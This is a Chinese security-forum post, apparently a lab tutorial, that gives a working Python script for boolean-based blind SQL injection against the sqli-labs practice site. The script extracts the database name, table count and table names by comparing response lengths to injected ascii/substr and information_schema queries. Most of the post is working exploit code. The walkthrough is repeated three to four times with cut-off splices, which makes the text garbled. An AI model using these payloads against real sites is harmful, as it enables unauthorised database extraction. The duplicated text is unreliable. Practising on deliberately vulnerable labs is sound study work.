首页
社区
课程
招聘
[原创]sqli-labs boolean-based 盲注脚本
发表于: 2019-3-25 16:45 5135

[原创]sqli-labs boolean-based 盲注脚本

2019-3-25 16:45
5135
sqli-labs从Less8到Less10是盲注练习:

大家在看lcarmy做练习Less5时应该发现他手动输入了含有payload的url。的确,出于演示目的,显得条理很清晰;但是,这样做的重复工作量实在太大了,做完这样的练习至少需要不厌其烦的耐心!我觉得,做这类练习的人,或多或少写过代码,所以肯定会想到用脚本之类的工具代替重复工作。在此,提供一份脚本,实现以上目的。    首先要区分web对正确与错误的url请求返回的响应,然后确定对应的url参数。通过前面的练习,我们知道让sqli-labs返回正确的url参数如下:
http://192.168.80.136/Less-8/?id=1

然后,在python脚本中以这个url请求的响应的长度为基准:
success_url = "http://192.168.80.136/Less-8/?id=1"
success_response_len = len(requests.get(success_url).text)

bool-base注入需要先确定数据库名的长度,很多资料上建议使用2分法猜测数据库长度,但为了降低编写脚本的难度,我并没有使用2分法,而是简单的每次使长度加1,然后进行比较。下面是获得后台数据库名字长度的函数:
def get_DBName_len():
    print("Start to get DBName_len...")
    DBName_len = 0
    url_template = success_url + "' and (length(database())={0}) %2D%2D%20"
    for i in range(0, MAX_DBName_len):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            DBName_len = i;
            print("DBName_len is: ", DBName_len)
            break;
    if DBName_len == 0:
        if i == MAX_DBName_len - 1:
            print("DBName_len > MAX_DBName_len!")
        print("Cannot get DB_len. Program ended.")
        exit()
    return DBName_len

最终获得的长度为8,如下图:

你可能会疑惑:我需要的是数据库的名字,而不是数据库名字的长度。别急,听我把原因以流程图的形式缓缓道出。

大家看到了,数据库名字长度是用于结束迭代的条件。上面的流程图中提到要使用字符串模板,这是我用到的字符串模板
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

好,结合这些的信息,来看下获取数据库名字的脚本:
def get_DBName(DBName_len):
    print("Start to retrieve database name...")
    DBName = ""
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"   

    for i in range(1, DBName_len + 1):
        tempDBName = DBName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! DBName is: " + DBName)
    return DBName

嗯,函数成功的把sqli-labs后台用到的数据库名显示出来了:

获取表名的函数原理和获得数据库名的原理类似,先获得数据库中表的数量,然后用limit语句遍历获得所有表的表名长度,最后获得表名。
def get_TableNumOfDB(DBName):
    print("Start to get TableNumOfDB...")
    TableNumOfDB = 0
    url_template = success_url + "' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
    for i in range(0, MAX_Table_Num):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableNumOfDB = i;
            print("the number of table is:" , TableNumOfDB)
            break
    if TableNumOfDB == 0:
        if i == TableNumOfDB - 1:
            print("table number of database > MAX_TableName_len!")
    return TableNumOfDB

def get_TableName_len(Table_num):
    print("Start to get TableName_len...")
    TableName_len = 0
    url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"
    for i in range(0, MAX_TableName_len):
        url = url_template.format(Table_num - 1, i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableName_len = i
            break
    if TableName_len == 0:
        if i == MAX_TableName_len - 1:
            print("TableName_len > MAX_TableName_len!")
    return TableName_len

def get_TableName(Table_num, TableName_len):
    print("Start to get TableName...")
    TableName = ""
    url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"   
    for i in range(1, TableName_len + 1):
        tempTableName = TableName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(Table_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                TableName += char
                break           
        if tempTableName == TableName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! TableName is: " + TableName)
    return TableName

最后给出脚本链接
http://192.168.80.136/Less-8/?id=1

然后,在python脚本中以这个url请求的响应的长度为基准:
success_url = "http://192.168.80.136/Less-8/?id=1"
success_response_len = len(requests.get(success_url).text)

bool-base注入需要先确定数据库名的长度,很多资料上建议使用2分法猜测数据库长度,但为了降低编写脚本的难度,我并没有使用2分法,而是简单的每次使长度加1,然后进行比较。下面是获得后台数据库名字长度的函数:
def get_DBName_len():
    print("Start to get DBName_len...")
    DBName_len = 0
    url_template = success_url + "' and (length(database())={0}) %2D%2D%20"
    for i in range(0, MAX_DBName_len):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            DBName_len = i;
            print("DBName_len is: ", DBName_len)
            break;
    if DBName_len == 0:
        if i == MAX_DBName_len - 1:
            print("DBName_len > MAX_DBName_len!")
        print("Cannot get DB_len. Program ended.")
        exit()
    return DBName_len

最终获得的长度为8,如下图:

你可能会疑惑:我需要的是数据库的名字,而不是数据库名字的长度。别急,听我把原因以流程图的形式缓缓道出。

大家看到了,数据库名字长度是用于结束迭代的条件。上面的流程图中提到要使用字符串模板,这是我用到的字符串模板
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

好,结合这些的信息,来看下获取数据库名字的脚本:
def get_DBName(DBName_len):
    print("Start to retrieve database name...")
    DBName = ""
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"   

    for i in range(1, DBName_len + 1):
        tempDBName = DBName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! DBName is: " + DBName)
    return DBName

嗯,函数成功的把sqli-labs后台用到的数据库名显示出来了:

获取表名的函数原理和获得数据库名的原理类似,先获得数据库中表的数量,然后用limit语句遍历获得所有表的表名长度,最后获得表名。
def get_TableNumOfDB(DBName):
    print("Start to get TableNumOfDB...")
    TableNumOfDB = 0
    url_template = success_url + "' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
    for i in range(0, MAX_Table_Num):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableNumOfDB = i;
            print("the number of table is:" , TableNumOfDB)
            break
    if TableNumOfDB == 0:
        if i == TableNumOfDB - 1:
            print("table number of database > MAX_TableName_len!")
    return TableNumOfDB

def get_TableName_len(Table_num):
    print("Start to get TableName_len...")
    TableName_len = 0
    url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"
    for i in range(0, MAX_TableName_len):
        url = url_template.format(Table_num - 1, i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableName_len = i
            break
    if TableName_len == 0:
        if i == MAX_TableName_len - 1:
            print("TableName_len > MAX_TableName_len!")
    return TableName_len

def get_TableName(Table_num, TableName_len):
    print("Start to get TableName...")
    TableName = ""
    url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"   
    for i in range(1, TableName_len + 1):
        tempTableName = TableName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(Table_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                TableName += char
                break           
        if tempTableName == TableName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! TableName is: " + TableName)
    return TableName

最后给出脚本链接
success_url = "http://192.168.80.136/Less-8/?id=1"
success_response_len = len(requests.get(success_url).text)

bool-base注入需要先确定数据库名的长度,很多资料上建议使用2分法猜测数据库长度,但为了降低编写脚本的难度,我并没有使用2分法,而是简单的每次使长度加1,然后进行比较。下面是获得后台数据库名字长度的函数:
def get_DBName_len():
    print("Start to get DBName_len...")
    DBName_len = 0
    url_template = success_url + "' and (length(database())={0}) %2D%2D%20"
    for i in range(0, MAX_DBName_len):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            DBName_len = i;
            print("DBName_len is: ", DBName_len)
            break;
    if DBName_len == 0:
        if i == MAX_DBName_len - 1:
            print("DBName_len > MAX_DBName_len!")
        print("Cannot get DB_len. Program ended.")
        exit()
    return DBName_len

最终获得的长度为8,如下图:

你可能会疑惑:我需要的是数据库的名字,而不是数据库名字的长度。别急,听我把原因以流程图的形式缓缓道出。

大家看到了,数据库名字长度是用于结束迭代的条件。上面的流程图中提到要使用字符串模板,这是我用到的字符串模板
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

好,结合这些的信息,来看下获取数据库名字的脚本:
def get_DBName(DBName_len):
    print("Start to retrieve database name...")
    DBName = ""
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"   

    for i in range(1, DBName_len + 1):
        tempDBName = DBName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! DBName is: " + DBName)
    return DBName

嗯,函数成功的把sqli-labs后台用到的数据库名显示出来了:

获取表名的函数原理和获得数据库名的原理类似,先获得数据库中表的数量,然后用limit语句遍历获得所有表的表名长度,最后获得表名。
def get_TableNumOfDB(DBName):
    print("Start to get TableNumOfDB...")
    TableNumOfDB = 0
    url_template = success_url + "' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
    for i in range(0, MAX_Table_Num):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableNumOfDB = i;
            print("the number of table is:" , TableNumOfDB)
            break
    if TableNumOfDB == 0:
        if i == TableNumOfDB - 1:
            print("table number of database > MAX_TableName_len!")
    return TableNumOfDB

def get_TableName_len(Table_num):
    print("Start to get TableName_len...")
    TableName_len = 0
    url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"
    for i in range(0, MAX_TableName_len):
        url = url_template.format(Table_num - 1, i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableName_len = i
            break
    if TableName_len == 0:
        if i == MAX_TableName_len - 1:
            print("TableName_len > MAX_TableName_len!")
    return TableName_len

def get_TableName(Table_num, TableName_len):
    print("Start to get TableName...")
    TableName = ""
    url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"   
    for i in range(1, TableName_len + 1):
        tempTableName = TableName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(Table_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                TableName += char
                break           
        if tempTableName == TableName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! TableName is: " + TableName)
    return TableName

最后给出脚本链接
def get_DBName_len():
    print("Start to get DBName_len...")
    DBName_len = 0
    url_template = success_url + "' and (length(database())={0}) %2D%2D%20"
    for i in range(0, MAX_DBName_len):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            DBName_len = i;
            print("DBName_len is: ", DBName_len)
            break;
    if DBName_len == 0:
        if i == MAX_DBName_len - 1:
            print("DBName_len > MAX_DBName_len!")
        print("Cannot get DB_len. Program ended.")
        exit()
    return DBName_len

最终获得的长度为8,如下图:

你可能会疑惑:我需要的是数据库的名字,而不是数据库名字的长度。别急,听我把原因以流程图的形式缓缓道出。

大家看到了,数据库名字长度是用于结束迭代的条件。上面的流程图中提到要使用字符串模板,这是我用到的字符串模板
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'

好,结合这些的信息,来看下获取数据库名字的脚本:
def get_DBName(DBName_len):
    print("Start to retrieve database name...")
    DBName = ""
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"   

    for i in range(1, DBName_len + 1):
        tempDBName = DBName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                DBName += char
                break
        if tempDBName == DBName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! DBName is: " + DBName)
    return DBName

嗯,函数成功的把sqli-labs后台用到的数据库名显示出来了:

获取表名的函数原理和获得数据库名的原理类似,先获得数据库中表的数量,然后用limit语句遍历获得所有表的表名长度,最后获得表名。
def get_TableNumOfDB(DBName):
    print("Start to get TableNumOfDB...")
    TableNumOfDB = 0
    url_template = success_url + "' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
    for i in range(0, MAX_Table_Num):
        url = url_template.format(i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableNumOfDB = i;
            print("the number of table is:" , TableNumOfDB)
            break
    if TableNumOfDB == 0:
        if i == TableNumOfDB - 1:
            print("table number of database > MAX_TableName_len!")
    return TableNumOfDB

def get_TableName_len(Table_num):
    print("Start to get TableName_len...")
    TableName_len = 0
    url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"
    for i in range(0, MAX_TableName_len):
        url = url_template.format(Table_num - 1, i)
        response = requests.get(url)
        if len(response.text) == success_response_len:
            TableName_len = i
            break
    if TableName_len == 0:
        if i == MAX_TableName_len - 1:
            print("TableName_len > MAX_TableName_len!")
    return TableName_len

def get_TableName(Table_num, TableName_len):
    print("Start to get TableName...")
    TableName = ""
    url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"   
    for i in range(1, TableName_len + 1):
        tempTableName = TableName
        for char in chars:
            char_ascii = ord(char)
            url = url_template.format(Table_num - 1, i, char_ascii)
            response = requests.get(url)
            if len(response.text) == success_response_len:
                TableName += char
                break           
        if tempTableName == TableName:
            print("Letters too little! Program ended.")
            exit()
    print("Retrieve completed! TableName is: " + TableName)
    return TableName

最后给出脚本链接

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 26205
活跃值: (63302)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
感谢分享~
2019-3-25 17:15
0
游客
登录 | 注册 方可回帖
返回
//